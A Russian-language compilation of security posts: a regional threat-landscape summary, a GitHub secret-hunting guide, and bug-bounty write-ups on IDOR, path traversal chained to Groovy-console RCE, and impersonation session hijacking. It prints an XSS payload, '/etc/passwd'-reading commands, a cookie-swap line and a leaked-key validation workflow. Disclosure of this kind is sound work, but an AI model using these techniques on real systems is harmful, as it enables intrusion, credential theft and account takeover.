Введение

Всем, кто хочет грамотно выстроить защиту, важно знать своего врага. Часто угрозы остаются скрытыми для компаний, а обнаружить их удается слишком поздно: уже после того, как инцидент произошел и бизнес столкнулся с его последствиями. Организации стремятся решить эту проблему: одни обеспечивают соответствие нормативным стандартам, другие строят модель угроз, а третьи берут за основу рискориентированный подход.

Однако, когда приходится столкнуться с реальными злоумышленниками, даже самая хорошая методология защиты, основанная на теоретических взглядах, на деле оказывается неэффективна. Чтобы обеспечить безопасность компании на практике, нужно знать противника в лицо и уметь ему противостоять. Для этого важно понимать, какие кибергруппировки существуют, какие методы и техники атак они используют, на что нацелены, какими мотивами руководствуются.

Подробней ознакомиться с презентацией можно тут.

Топ-10 техник злоумышленников

Эти техники преступники чаще всего используют в атаках на территории России и СНГ.

1. Command and scripting interpreter
С помощью интерпретаторов команд и сценариев, например PowerShell и Bash, злоумышленники могут решать задачи на разных этапах жизненного цикла атаки. Самой популярной эту технику делает широкая вариативность процедур, которые можно реализовать с ее помощью.

2. Remote services
В большинстве случаев злоумышленники не ограничиваются компрометацией одной системы, а для продвижения используют службы удаленного доступа, например RDP и SSH.

3. Obfuscated files or information
Чтобы снизить вероятность обнаружения вредоносных файлов, инструментов и сценариев, злоумышленники нередко прибегают к обфускации, что также может затруднять последующий криминалистический анализ.

4. Masquerading
Зачастую атакующие стремятся не привлекать внимание к используемым инструментам и ВПО, маскируя их названия под имена легитимных системных утилит и приложений.

5. Indicator removal
Чтобы скрыть вредоносную активность и затруднить последующий криминалистический анализ, злоумышленники удаляют неиспользуемые вредоносные файлы и инструменты, теневые копии, очищают журналы и т. п.

6. Phishing
Фишинг не только частая причина взлома корпоративных IT-инфраструктур, с ним также связано широкое использование легитимных учетных записей. Злоумышленники нередко применяют скомпрометированный аутентификационный материал, полученный благодаря стилерам. Они, в свою очередь, часто распространяются через фишинговые электронные письма.

7. OS Credential dumping
Злоумышленники по-прежнему активно извлекают аутентификационный материал с помощью популярных инструментов, например Mimikatz и LaZagne. Часто это открывает широкие возможности для продвижения в скомпрометированных IT-инфраструктурах.

8. Application layer protocol
Атакующим необходимо взаимодействовать со скомпрометированной системой. Чаще всего они используют для этого веб-протоколы, например HTTPS.

9. Impair defenses
Злоумышленники не только избавляются от следов, которые оставляют их методы и инструменты, но и отключают средства защиты. Это позволяет им беспрепятственно проходить этапы жизненного цикла атаки.

10. System information discovery
В большинстве случаев злоумышленникам необходимо получить хотя бы базовую информацию о скомпрометированной системе.

Ключевые выводы

Мы подготовили краткий обзор ландшафта киберугроз России и СНГ. Ниже представлены основные цели, методы и популярные техники злоумышленников, а также список самых атакуемых отраслей.

10 особенностей ландшафта киберугроз

В 2024 году команда BI.ZONE Threat Intelligence зафиксировала следующие ключевые особенности киберландшафта.

1. Использование инфраструктуры подрядчиков
Злоумышленники все еще активно используют инфраструктуры подрядчиков, чтобы получить доступ к IT-инфраструктурам жертв. При этом атакующие компрометируют как небольших, так и крупных провайдеров, что позволяет получить доступ к конфиденциальным данным множества компаний.

2. Применение ПО с русскоязычных теневых ресурсов
Кластеры активности регулярно используют для атак на российские организации ПО, распространяемое на русскоязычных теневых ресурсах. Такой подход позволяет злоумышленникам не тратить силы и средства на разработку и сразу получать готовый инструмент.

3. Эксперименты с фреймворками постэксплуатации
Атакующие активно экспериментируют с различными фреймворками постэксплуатации, в том числе непопулярными. Более того, в рамках одной атаки они могут использовать агенты различных фреймворков, что позволяет прочнее закрепляться в скомпрометированной IT-инфраструктуре и затрудняет реагирование на инцидент.

4. Фишинг от имени государственных организаций
Все чаще злоумышленники делают фишинговые рассылки от имени различных госорганизаций. В письмах они подчеркивают, что нужно быстро реагировать на сообщение. Это повышает вероятность того, что жертва откроет вредоносное вложение или перейдет по ссылке. 5 6 9 8 Threat Zone 2025

5. Использование средств туннелирования трафика
Злоумышленники активно используют средства туннелирования трафика, которые часто представляют собой легитимное ПО. Это позволяет обойти часть средств защиты и получить персистентный резервный канал доступа в скомпрометированную IT-инфраструктуру.

6. Загрузка собственных интерпретаторов команд и сценариев
Атакующие не только используют имеющиеся в скомпрометированной системе интерпретаторы команд и сценариев, но и загружают собственные. Последние, например Python или NodeJS, используются значительно реже, что затрудняет обнаружение вредоносной активности.

7. Деструктивные действия шпионов
Кластеры активности, занимающиеся шпионажем, не только собирают и эксфильтруют конфиденциальную информацию, но и, подобно хактивистам, могут реализовывать деструктивные действия в скомпрометированной IT-инфраструктуре.

8. Публикация данных на теневых ресурсах
Кластеры хактивистской направленности продолжают активно публиковать конфиденциальные и персональные данные на теневых ресурсах. При этом часто злоумышленники сначала анализируют полученное и ищут информацию, позволяющую им попасть в другие организации.

9. Коллаборация хактивистов
Злоумышленники, вовлеченные в хактивизм, активно сотрудничают друг с другом, что влияет на набор их методов и инструментов, а также затрудняет кластеризацию. В то же время так легче обнаружить связанную вредоносную активность.

10. Увеличение размера выкупа за расшифровку
Сумма, которую злоумышленники требуют за расшифровку данных, все чаще исчисляется десятками миллионов рублей. Атакующие тщательно изучают скомпрометированную организацию, в том числе ее финансовую отчетность, чтобы определить максимально возможную сумму выкупа.

Подробней ознакомиться с презентацией можно тут.

API-ключи, пароли и данные клиентов ежедневно случайно публикуются на GitHub.

Хакеры используют эти ключи для доступа к серверам, кражи личной информации. Утечки на GitHub могут стоить компании тысячи, а то и миллионы долларов в убытках. Сбор открытой разведывательной информации на GitHub стал мощным инструментом в арсенале каждого исследователя безопасности: исследователи из NC State даже написали академическую статью на эту тему.

Эта статья, написанная как для охотников за багами, так и для команд корпоративной информационной безопасности, демонстрирует общие типы конфиденциальной информации (секретов), которые пользователи публикуют в общедоступных репозиториях GitHub, а также эвристику для их поиска. Техники, описанные в этой статье, также можно применить к GitHub Gist.

Благодаря этим техникам, в прошлом году я заработал почти $10,000 за уязвимости на Багбаунти программах HackerOne, даже не посещая сайты этих программ. Я подал более 30 отчетов о раскрытии информации уязвимыми корпорациями, включая восемь компаний из списка Fortune 500.

Я также выпустил GitHound, инструмент с открытым исходным кодом, разработанный для автоматизации процесса поиска ключей по всему GitHub. GitHound не ограничивается одним пользователем или организацией: он просеивает весь GitHub, используя запросы поиска по коду, регулярные выражения и некоторые другие хитрые трюки для нахождения секретов.

Поиск по коду GitHub

Прежде чем мы перейдем к автоматизированным инструментам и стратегиям охоты за уязвимостями, давайте поговорим о поиске по коду.

GitHub предоставляет богатый функционал поиска по коду, который сканирует общедоступные репозитории GitHub (некоторый контент опускается, например, форки и недефолтные ветки). Запросы могут быть простыми, например, uberinternal.com, или могут содержать многословные строки, такие как "Authorization: Bearer". Поиски могут нацеливаться на конкретные файлы (filename: vim_settings.xml) или конкретные языки программирования (language:SQL). Запросы также могут содержать некоторые булевы квалификаторы, такие как NOT и >.

Знание правил поиска по коду GitHub позволяет нам создавать поисковые дорки — запросы, которые предназначены для нахождения чувствительной информации. GitHub-дорки можно найти в интернете, но лучшие из них — те, которые вы придумываете сами.

Например, filename: vim_settings.xml (попробуйте его!) нацелен на файлы настроек IntelliJ. Интересно, что файл vim_settings.xml содержит недавно скопированные строки, закодированные в Base64. Недавно я заработал $2400 на баунти за уязвимости благодаря этому дорку (API-ключи SaaS и информация о клиентах были раскрыты в файле vim_settings.xml).

Файл vim_settings.xml содержит только недавно скопированные строки, но мы можем использовать историю коммитов репозитория, чтобы найти всю историю копирования и вставки. Просто клонируйте репозиторий, запустите этот 14-строчный скрипт, и активность пользователя будет у вас под рукой. GitHound также находит и сканирует закодированные в base64 строки для поиска секретов, даже в истории коммитов.

Кстати, с помощью дорка для поиска коммитов на GitHub, мы можем быстро просканировать все 500,000 коммитов, связанных с vim_settings.xml.

Поисковая эвристика для охотников за багами

GitHub дорки находят конфиденциальную информацию в больших обьемах, но что, если мы хотим искать информацию о конкретной компании? На GitHub миллионы репозиториев и еще больше файлов, поэтому нам понадобятся некоторые навыки для сужения области поиска.

Я обнаружил, что лучший способ начать поиск — это найти домены и поддомены, которые идентифицируют корпоративную инфраструктуру.

Поиск по company.com, вероятно, не даст полезных результатов: многие компании выпускают проверенные open-source проекты, которые вряд ли содержат секреты. Менее используемые домены и поддомены более интересны. Например конкретные хосты, такие как jira.company.com, и прочие домены более низкого уровня. Более эффективно искать по шаблону, чем по одному домену: corp.somecompany.com, somecompany.net или companycorp.com с большей вероятностью появятся только в конфигурационных файлах сотрудников.

Здесь помогут обычные инструменты разведки из открытых источников:

* Subbrute - инструмент на Python для перебора поддоменов
* ThreatCrowd - при вводе домена ищет связанные домены с помощью множества OSINT техник
* Censys.io - при вводе домена находит SSL-сертификаты, которые его используют

GitHound также может помочь с обнаружением поддоменов: добавьте пользовательское регулярное выражение \.company\.com и запустите GitHound с флагом --regex-file.

После того как вы найдете хост или шаблон для поиска, поэкспериментируйте с поиском на GitHub (я всегда делаю это перед использованием автоматизированных инструментов). Здесь я задаю себе несколько вопросов:

• Сколько результатов появилось? Если более 100 страниц, возможно придется найти более подходящий запрос для начала (GitHub ограничивает результаты поиска по коду до 100 страниц).
• Какие результаты появились? Если результаты представляют собой (намеренно) открытые проекты и людей, использующих публичные API, тогда необходимо уточнить поиск, чтобы устранить их.
• Что произойдет, если я изменю язык? language:Shell и language:SQL могут дать интересные результаты.
• Показывают ли эти результаты другие домены или хосты? Результаты на нескольких первых страницах часто включают ссылку на другой домен (например, поиск jira.uber.com может показать существование другого домена, такого как uberinternal.com).

Большую часть времени я провожу на этом этапе.

Очень важно, чтобы пространство поиска было корректно и четко определено. Автоматизированные инструменты и ручной поиск будут значительно быстрее и точнее при использовании правильного запроса.

Как только я нахожу результаты, которые выглядят интересными (на основе приведенных выше критериев), я запускаю их через GitHound с параметрами --dig-files и --dig-commits, чтобы просмотреть весь репозиторий и его историю.

echo "uberinternal.com" | ./git-hound --dig-files --dig-commits

echo "uber.com" | ./git-hound --dig-files --language-file languages.txt --dig-commits

echo "uber.box.net" | ./git-hound --dig-files --dig-commits

GitHound также находит интересные файлы, которые просто поиском выявить не удастся, например .zip или .xlsx файлы. Важно отметить, что также я проверяю результаты вручную, так как автоматизированные инструменты часто пропускают клиентские данные, чувствительный код и комбинации имени пользователя/пароля.

Часто эти файлы раскрывает больше поддоменов или других интересных шаблонов, которые дают мне идеи для дополнительных поисковых запросов. Важно помнить, что разведка из открытых источников — это рекурсивный процесс.

• Этот процесс почти всегда приводит к нахождению результатов. Утечки обычно попадают в одну из следующих категорий (расположены от наиболее значимых, к наименее):
• Ключи SaaS API - Компании редко накладывают ограничения по IP на API. Ключи AWS, Slack, Google и других API - настоящее золото. Обычно их находят в конфигурационных файлах, bash истории и скриптах.
• Учётные данные серверов/баз данных - Обычно находятся за брандмауэром, поэтому менее значимы. Чаще всего их можно найти в конфигурационных файлах, bash истории и скриптах.
• Информация о клиентах/сотрудниках - Скрываются в .xlsx, .csv и .xml файлах и варьируются от электронных адресов до платёжной информации и обзоров трудовой деятельности сотрудников.
• Скрипты дата-сайенс - SQL запросы, скрипты на R, и проекты Jupyter могут раскрыть чувствительную информацию. В этих репозиториях также часто встречаются файлы с "тестовыми данными".
• Имена хостов/метаданные - Самый распространённый результат. Большинство компаний не считают это уязвимостью, но они могут помочь уточнить будущие поиски.

Рабочий процесс для конкретных поставщиков API

Также можно создавать дорки для поиска конкретных поставщиков API и их конечных точек. Это особенно полезно для компаний, создающих автоматические проверки API ключей своих пользователей. С знанием контекста и синтаксиса API ключа, можно значительно сократить область поиска.

Зная конкретного поставщика API, мы можем получить все ключи, которые соответствуют regex шаблону заданного поставщика. Затем мы можем проверить их на валидность, используя внутреннюю базу данных или конечную точку API.

Например, предположим, что компания (HalCorp) предоставляет API для пользователей, чтобы читать и записывать данные аккаунта. Создав собственный аккаунт в HalCorp, мы обнаруживаем, что API ключи имеют формат

[a-f]{4}-[a-f]{4}-[a-f]{4}

# Python
import halapi
api = halapi.API()
api.authenticate_by_key('REDACTED')

# REST API with curl
curl -X POST -H "HALCorp-Key: REDACTED" https://api.halcorp.biz/userinfo

Вооружившись этой информацией, мы можем составить свои собственные GitHub dorks для ответов HalCorp API:

# Python
"authenticate_by_key" "halapi" language:python

# REST API
"HALCorp-Key"

С помощью инструмента GitHound мы можем использовать регулярные выражения, чтобы находить строки, соответствующие регулярному выражению API ключа, и выводить их в файл:

echo "HALCorp-Key" | git-hound --dig-files --dig-commits --many-results --regex-file halcorp-api-keys.txt --results-only > api_tokens.txt

Теперь, когда у нас есть файл, содержащий потенциальные API токены, мы можем проверять их на актуальность (не делайте этого без письменного разрешения от поставщика API).

В случае с HalCorp, мы можем написать bash-скрипт, который читает из stdin, проверяет конечную точку api.halcorp.biz/userinfo и выводит ответ.

cat api_tokens.txt | bash checktoken.bash

Устранение

Несмотря на возросшую осведомленность о раскрытии секретов в GitHub, ежедневно публикуется всё больше конфиденциальных данных.

Amazon Web Services начали уведомлять пользователей, если их API ключи размещены в сети. GitHub добавил функции безопасности, которые сканируют публичные репозитории на наличие ключей. Однако эти решения лишь временные меры. Чтобы ограничить утечки секретной информации из исходного кода, мы должны обновлять API фреймворки и DevOps методологии, чтобы полностью предотвратить хранение API ключей в репозиториях Git/SVN. Программное обеспечение, такое как Vault, безопасно хранит ключи, а некоторые поставщики API, такие как Google Cloud Platform, обновили свои библиотеки, чтобы по умолчанию принуждать хранить API ключи в файле.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

Привет, хакеры! Это Zack0x01, и я снова здесь, чтобы поделиться одним из самых интересных случаев в моем пути Bug Bounty. После перерыва по личным причинам, с сентября я возобновил охоту в рамках публичной программы Bug Bounty (BBP) на платформе HackerOne. В этом блоге я расскажу о своем пути, инструментах, которые я использовал, и о том, как заработал 4 000 долларов, обнаружив критические уязвимости. Давайте начнем!

Перебор поддоменов

Перебор поддоменов не всегда является моей основной стратегией. Однако для этой цели я использовал такие инструменты, как Subfinder, Findomain и Assetfinder, чтобы собрать полный список поддоменов.
Чтобы удалить дубликаты, я использовал известный инструмент anew от TomNomNom, а затем использовал httpx от Project Discovery для определения активных поддоменов.

Совет профессионала: Как только все поддомены перечислены, Eyewitness поможет придать наглядности, создавая скриншоты всех поддоменов и организуя их в одну HTML-страницу. Этот метод сэкономил мне время и усилия при поиске интересной страницы для входа и регистрации на test-domain-h1.app.com.

Анализ логики приложения

Понимание бизнес-логики приложения крайне важно для успешного поиска уязвимостей. Например:
• Приложения электронной коммерции: ищите уязвимости в процессах оплаты, формирования цен и оформления заказа.
• Платформы для бронирования билетов: анализируйте функции, связанные с созданием билетов, их передачей и управления бронированием.

Для этой цели — приложения для бронирования билетов — я изучил его основные функции, сосредоточив внимание на слабых местах, которые могли бы нарушить бизнес-процессы или поставить под угрозу данные пользователей.

Тестирование функциональности приложения

Когда я понял, как работает приложение, я начал тестировать функции создания билетов и ссылки для регистрации. Вот что я сделал:
1. Использовал полезные нагрузки, такие как '><svg/onload=confirm(1)>, в поля имя, email и описание при создании билета.
2. Генерировал и проверял публичные ссылки для регистрации, чтобы убедиться, что мои полезные нагрузки вызывают XSS (межсайтовый скриптинг).

Первоначальные результаты

Было обнаружено несколько XSS уязвимостей, но они оказались дубликатами ранее обнаруженных проблем.

Несмотря на первоначальные неудачи, после небольшого перерыва я вернулся к приложению с новыми силами.

Важное открытие

В процессе изучения административных функций я наткнулся на кнопку с надписью "EXPORT YOUR CUSTOMERS", которая позволяла экспортировать данные клиентов в формате PDF или Excel.
При перехвате запроса экспорта с помощью Burp Suite я обнаружил следующий POST-запрос:

POST /FileGenerator/user/ZAZZ-SDFSSDF-ZERZE-QSDFQSF
Host: test-domain-h1.app.com
Cookie: ....  

{"UserID": "ZAZZ-SDFSSDF-ZERZE-QSDFQSF"}

Стратегия эксплуатации:

Ответ сервера возвращал fileID, который затем использовался в GET-запросе для получения данных клиентов.
Путём инкрементирования значения fileID я получил доступ к данным других клиентов, включая:
• Полное имя
• Адрес электронной почты
• Почтовый индекс
• Номер телефона
• Адрес

Эта уязвимость раскрывала конфиденциальную информацию, которая могла стоить тысячи долларов на чёрном рынке!

Impact:

В приложении, стоимость которого оценивается в миллиарды, была обнаружена критическая уязвимость IDOR (Insecure Direct Object Reference). Я оперативно сообщил об уязвимости и получил вознаграждение в размере $2,000.

Продолжение поиска: никогда не останавливайтесь на одной уязвимости

Вдохновлённый своим открытием, я продолжил изучать VIP-функции приложения. Я обнаружил аналогичную функциональность экспорта, связанную с данными VIP-клиентов. Повторив описанные выше шаги, я смог использовать ту же уязвимость на другой конечной точке.

Результат:

За это дополнительное открытие я получил ещё $2,000. Общая сумма вознаграждения составила $4,000.

Основные выводы:
1. Тщательная энумерация: Не пренебрегайте субдоменами — они часто содержат скрытые «жемчужины».
2. Понимание бизнес-логики: Анализируйте назначение и влияние каждой функции, чтобы обнаружить критические уязвимости.
3. Упорство приносит результаты: Неудачи — это часть процесса. Возвращаясь к целевому приложению с новыми силами, можно добиться значительных успехов.
4. Дубликаты? Не сдавайтесь: Тестирование схожих функциональностей часто помогает обнаружить упущенные уязвимости.

Спасибо, что ознакомились с моим рассказом.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

В этом документе я подробно расскажу, как я и Орва Атият успешно раскрутили ограниченный обход пути (limited path traversal) в удалённое выполнение кода (RCE), заработав таким образом вознаграждение в 40 000 долларов.

Описание:

Во время проведения разведки и сканирования портов нашей цели мы обнаружили поддомен с открытым портом 8443, http://admin.target.com:8443. Ответ к сожалению был 404, и большинство охотников игнорировали бы такие поддомены, возвращающие 404. Но я не!

При фаззинге http://admin.target.com:8443/FUZZ я обнаружил путь /admin/, который переадресовывал на страницу входа http://admin.target.com:8443/admin/faces/jsf/login.xhtml. После тестирования этой точки входа и не обнаружения уязвимостей, я решил продолжить фаззинг по пути ‘admin’, например http://admin.target.com:8443/admin/FUZZ. Я наткнулся на точку /download/, расположенную по адресу /admin/Download, которая возвращала код состояния 200, но с пустым ответом.

Из имени конечной точки можно сделать вывод о её функции! Однако нам не хватает правильных параметров, и нам нужен 100% действительный файл и путь. Поскольку конечная точка находится под /admin/, мы должны искать файлы, которые обычно функционируют в административной директории. Как правило, я начинаю искать LFI и Path Traversal, используя JavaScript файлы, поэтому я начал свои тесты с файла под названием admin/js/main.js. Этот подход помогает нам определить уязвимости LFI и обхода пути, а также выявить доступные пути. Кроме того, поскольку нам нужно определить правильный параметр, который требует /download, мы должны использовать действительно существующий файл, которым является /admin/js/main.js. Это гарантирует, что, когда мы будем выполнять фаззинг правильного параметра, мы его не пропустим. Команда для фаззинга была структурирована следующим образом:

По результатам фаззинга мы знаем, что /admin/download принимает параметр с именем filename. Таким образом, доступ к http://admin.target.com:8443/admin/download?filename=/js/main.js отображает файл по адресу http://admin.target.com:8443/admin/js/main.js. Первое, что я попробовал – это добиться полного обхода пути, попробовав прочитать /etc/passwd. К сожалению, функция /download работает только для файлов внутри /admin/*; всё, что находится за пределами /admin/, работать не будет. Однако это подтверждает, что у нас действительно есть уязвимость ограниченного обхода пути!

Поскольку мы работаем в Java-среде, я попытался прочитать /WEB-INF/web.xml, потому что этот файл часто содержит много полезной информации. Перейдя по адресу http://admin.target:8443/admin/download?fileName=/WEB-INF/web.xml, я смог получить доступ к некоторой интересной информации!

Обратите внимание, что мы нашли три URL: /download/, /faces/ (которые мы уже знали) и новый: /incident-report. Посещение http://admin.target:8443/admin/incident-report вызвало нечто неожиданное: началось скачивание огромного лог-файла под названием incident-report-xxxxxx.zip. Этот файл оказался логом реального времени!

Лог-файл был таким:

Каждый раз, когда вы посещаете http://admin.target:8443/admin/incident-report, новый лог-файл скачивается, потому что логи генерируются в реальном времени.

Должен ли я остановиться здесь и отчитаться об этом? Многие охотники могли бы завершить своё исследование на этом этапе! Но не я!

Эскалация влияния:

Изучая лог-файлы, я нашёл файл с паролями админов:

21232f297a57a5a743894a0e4a801fc3:admin (md5), не сработал. Как видно из файла - это был старый пароль, следующий был 2a92e4f4ecc321db24c8f389a287d793:Glglgl123.

Я снова перешёл к странице входа, /admin/faces/jsf/login.xhtml, попробовал admin:Glglgl123, и это сработало с полным доступом к панели в качестве администратора!

После входа я нашёл функцию под названием export_step2.xhtml, в которой есть консоль Groovy, поэтому я остановился здесь и отчитался об этом, а затем попросил владельца программы возможности испытать удачу и попробовать докрутить до RCE.

Прежде чем углубиться, давайте поймём, что такое Groovy консоль. Это инструмент разработки и отладки, который предоставляет интерфейс для выполнения скриптов Groovy. Разработчики часто используют его для тестирования фрагментов кода, изучения API и прототипирования функциональности прямо внутри контролируемой среды. Обычно она доступна только доверенным пользователям на внутренних системах, так как позволяет выполнять произвольный код.

Проблемы с безопасностью при доступе без надлежащей аутентификации:

- Произвольное выполнение кода: Если неавторизованное лицо получит доступ к консоли Groovy, оно сможет выполнять любой код Groovy или Java на сервере. Это может привести к удалённому выполнению кода (RCE), что потенциально позволит злоумышленникам украсть данные, скомпрометировать другие приложения или получить полный контроль над сервером.

- Утечка конфиденциальной информации: Злоумышленник может выполнить команды для чтения конфигурационных файлов, переменных окружения или даже учётных данных, хранящихся на сервере. Это предоставит дополнительные возможности для эксплуатации и горизонтального продвижения.

- Эскалация прав: Если консоль Groovy работает с повышенными привилегиями, злоумышленник может выполнять операции, к которым обычные пользователи приложения не имеют доступа. Это может включать создание или удаление файлов, изменение логики приложения или установку вредоносного ПО.

В кратце, несанкционированный доступ к консоли Groovy может эффективно превратить её в бэкдор для злоумышленников, предоставляя им мощный инструмент для компрометации всей системы.

Так что теперь, у меня зелёный свет! Время подготовиться к интересному приключению!

RCE:

Возвращаясь к export_step2.xhtml, где есть консоль Groovy; я использовал этот полезный код:

Но, как вы видите, команда была выполнена, но без вывода!

Я попробовал разные команды:

print "id".execute().text
print "sudo cat /etc/passwd".execute().text

К сожалению, та же проблема сохранялась: команды были выполнены, но никаких результатов не было возвращено.

(Для читателя): Есть предположения о том, где может скрываться вывод этой команды?? Если вы угадаете правильно, вы не только почувствуете себя рок-звездой, но и будете намного ближе к получению масштабного вознаграждения!

Цепочка уязвимостей для достижения полного RCE:

Подождите, вы помните функцию http://admin.target:8443/admin/incident-report?

Как упоминалось ранее…

Посещение http://admin.target:8443/admin/incident-report вызвало нечто неожиданное: началось скачивание огромного лог-файла под названием incident-report-xxxxxx.zip. Этот файл оказался логом в реальном времени!

Да! Это оказалось ключом к получению вывода RCE. Посещая http://admin.target:8443/admin/incident-report, я мог скачать свежие логи – и угадайте, что я там нашёл? Вывод RCE!

Эксплуатация теперь проста:
- Войдите с учётными данными, которые мы обнаружили.
- Перейдите к консоли Groovy.
- Выполните команду, например `print "sudo cat /etc/passwd".execute().text` (или попробуйте любую другую команду).
- Теперь перейдите к конечной точке логов по адресу http://admin.target:8443/admin/incident-report.
- Скачайте актуальный лог-файл, и вот он – вывод RCE!

Почему я не попытался использовать OOB-RCE или создать файл на сервере, чтобы обойти все эти шаги? Я знаю, что у вас возник этот вопрос! Ответ прост :)

По двум причинам:
- OOB-RCE невозможен: Есть какое-то подобие WAF, который блокирует любые исходящие соединения на мой IP или любой внешний IP.
- Низкие выплаты: OOB-RCE обычно приводит к меньшему вознаграждению по сравнению с прямым RCE. Поверьте мне – я достаточно долго в этой области, и знаю!

Программа BugBounty запросила, чтобы мы отправили два дополнительных отчёта: один про RCE и другой про учётные данные, которые мы обнаружили. Общее вознаграждение: 40 000 долларов.

Уроки и выводы:
1. Рассматривайте Bug Bounty как игру: думайте об этом, как о квесте – не останавливайтесь, пока не достигнете своей конечной цели. В моем случае конечной целью было достижение RCE и получение вознаграждения в 40К долларов. Многие охотники могут остановиться на первой уязвимости, которую они найдут, и сразу же сообщить о ней. Как вы видели, я не остановился на конечной точке, которая просто скачивала логи, или даже на обходе пути. Я продолжал исследовать, пока не обнаружил большую награду. Этот подход неизменно приводил меня к крупным выплатам!
2. Когда вы находите уязвимость на поддомене, держите её до завершения всех своих тестов на этом поддомене! Как только вы обнаружите уязвимость на поддомене, раскручивайте ее, пока не завершите все свои тесты. Как вы видели, одно небольшое открытие – например, ограниченный обход пути к лог-файлам – может привести к обнаружению паролей администратора, что затем можно довести до RCE. А иногда вы возвращаетесь к той начальной уязвимости, чтобы получить последнюю часть головоломки!
3. Сосредоточьтесь на качестве, а не на количестве: Изначально мы объединили все эти находки в один отчет. Этот подход не только демонстрирует уважение к команде владельца программы, но и зарабатывает большее доверие и потенциально большие выплаты. На самом деле, владелец программы запросил, чтобы мы разделили отчет на отдельные заявки. Почему? Потому что это позволяет им предлагать более высокие вознаграждения за отдельные находки!

Все эти находки были сделаны с OrwaGodfather, с которым мы сотрудничаем в нашей охоте.

Надеюсь, вам было интересно читать!

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

Что такое имперсонация?

Имперсонация позволяет администраторам «войти от имени» другого пользователя без необходимости знать его учетные данные. Эта функция распространена на платформах, где администраторам может понадобиться отладить проблемы, проверить разрешения пользователей или отреагировать на жалобы.

Администраторы используют имперсонацию для:
• Поиска и устранения проблем, о которых сообщили пользователи.
• Проверки пользовательских настроек.
• Отладки поведения платформы для пользователя.

Например, если пользователь сообщает, что не может получить доступ к своим файлам, администратор может имперсонировать этого пользователя, чтобы протестировать функцию загрузки файлов и выяснить причину проблемы. После завершения расследования администратор завершает сессию имперсонации и возвращается к своей учетной записи администратора.

Как работает имперсонация на целевой системе

Теперь поговорим о целевой системе — example.com. Платформа предоставляет функцию имперсонации пользователей, чтобы помочь им устранить проблемы.

Вот как это работает:
1. Имперсонация пользователя администратором:
◦ Администратор переходит в раздел «Пользователи» и выбирает пользователя, которого хочет имперсонировать.
◦ После нажатия на «Имперсонация» приложение создает новую сессию, позволяющую администратору действовать от имени пользователя.
2. Управление сессиями:
◦ Во время имперсонации оригинальная сессия администратора приостанавливается.
◦ Создается новая сессия имперсонации, которая связывается с имперсонируемым пользователем.
3. Завершение имперсонации:
◦ Когда администратор нажимает «Завершить имперсонацию», он возвращается к своей оригинальной сессии.

Исследование активных сессий

Во время исследования функции «Активная сессия» (которая относится к другому endpoint), я обнаружил, что страница отображает все активные сессии, привязанные к учетной записи пользователя, включая те, которые были созданы путем имперсонации.

Пример отображаемой информации:

Я решил завершить все сессии, кроме текущей. Теперь активной осталась только моя сессия.

Теперь, когда администратор начнет имитировать мою учетную запись, мы обнаружим нечто интересное:

Да, когда администратор начинает имитировать мою учетную запись, сессия отображается в разделе Active Sessions с видимым идентификатором сессии двумя способами:

Вариант 1: Проверяя HTML-код страницы для кнопки "Revoke" через инструменты разработчика (F12). Идентификатор сессии указывается в данных запроса:

<button id="revoke-session-1234" class="revoke-button" data-session-id="abcd1234efgh5678ijklmnop">Revoke</button>

Вариант 2: Перехватив HTTP-запрос после нажатия на кнопку "Revoke". Запрос выглядит следующим образом:

POST /users/sessions/revoke HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Bearer <access_token>
{
  "session_id": "abcd1234efgh5678ijklmnop"
}

Я скопировал идентификатор сессии из перехваченного запроса и удалил его. Теперь у меня был временный идентификатор сессии, назначенный администратору, имитирующему мою учетную запись.

Чтобы получить контроль, я:
1. Открыл инструменты разработчика (F12), перешел в раздел Cookies.
2. Заменил идентификатор моей сессии на идентификатор сессии администратора:

Альтернативно, я мог вручную установить идентификатор сессии через консоль:

document.cookie = "_session_id=SESSION_ID";

Затем обновить страницу.

На этом этапе я вошел в систему как администратор, который использует мою учетную запись.

Что произошло?

Эксплуатация уязвимости сработала, потому что временная сессия все еще была активна, и администратор продолжал использовать ее для имитации. По сути, я "перехватил" временную сессию, которую использовал администратор, вместо его исходной сессии.

Когда администратор запрашивает имитацию пользователя, приложение сначала проверяет, является ли он администратором. Если да, то создается временный идентификатор сессии для имитации. Когда администратор завершает имитацию, приложение проверяет идентификатор сессии и восстанавливает исходную сессию администратора.

После получения доступа к учетной записи администратора я нажал кнопку «Завершить имперсонацию», что завершило сессию имитации и восстановило исходную сессию администратора. Однако, поскольку система проверяла только значение временного идентификатора сессии, я смог остаться в системе как администратор, эффективно повысив свои привилегии.

Шаги для эксплуатации уязвимости:
1. Войти в платформу как обычный пользователь (атакующий).
2. Отозвать все сессии на вкладке «Активные сессии», кроме своей собственной.
3. Администратор входит в систему и начинает имитацию учетной записи атакующего.
4. После начала имитации администратор получает временный идентификатор сессии, связанный с учетной записью атакующего.
5. Атакующий исследует HTML-код кнопки «Отозвать» или перехватывает запрос и копирует идентификатор сессии из запроса.
6. Атакующий открывает консоль разработчика (F12), переходит в раздел «Cookies», очищает свои текущие cookie-файлы и заменяет их идентификатором сессии администратора. Затем обновляет страницу.
7. Теперь атакующий вошел в систему как администратор. Затем он может нажать кнопку «Завершить имперсонацию» , которую обычно нажимает администратор.
8. Поскольку сессия атакующего теперь использует временный идентификатор сессии имитации, нажатие «Завершить имитацию» вернет его в исходную сессию администратора.

Результат:

Компания признала проблему как уязвимость высокой степени опасности и выплатила вознаграждение в размере $1250.

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор

Давайте начнем с краткого объяснения, что такое защита HTTPOnly и как она помогает разработчикам предотвратить кражу учетных данных через cookies.

Пару слов о cookies, этот механизм аутентифицирует пользователя и различает каждого в зависимости от их привилегий в веб-приложении. Cookies имеют различные меры безопасности, чтобы улучшить их использование и защитить конечного пользователя.

Некоторые из доступных атрибутов cookies:

Объяснение HTTPOnly от PHP.net:

Когда установлено в true, cookie будет доступно только через протокол HTTP. Это означает, что cookie не будет доступно для языков программирования, таких как JavaScript.

О нет!

Это значит, что если наш XSS payload является частью HTML DOM, мы все равно не сможем получить доступ к значению cookie, чтобы выдать себя за жертву для захвата аккаунта.

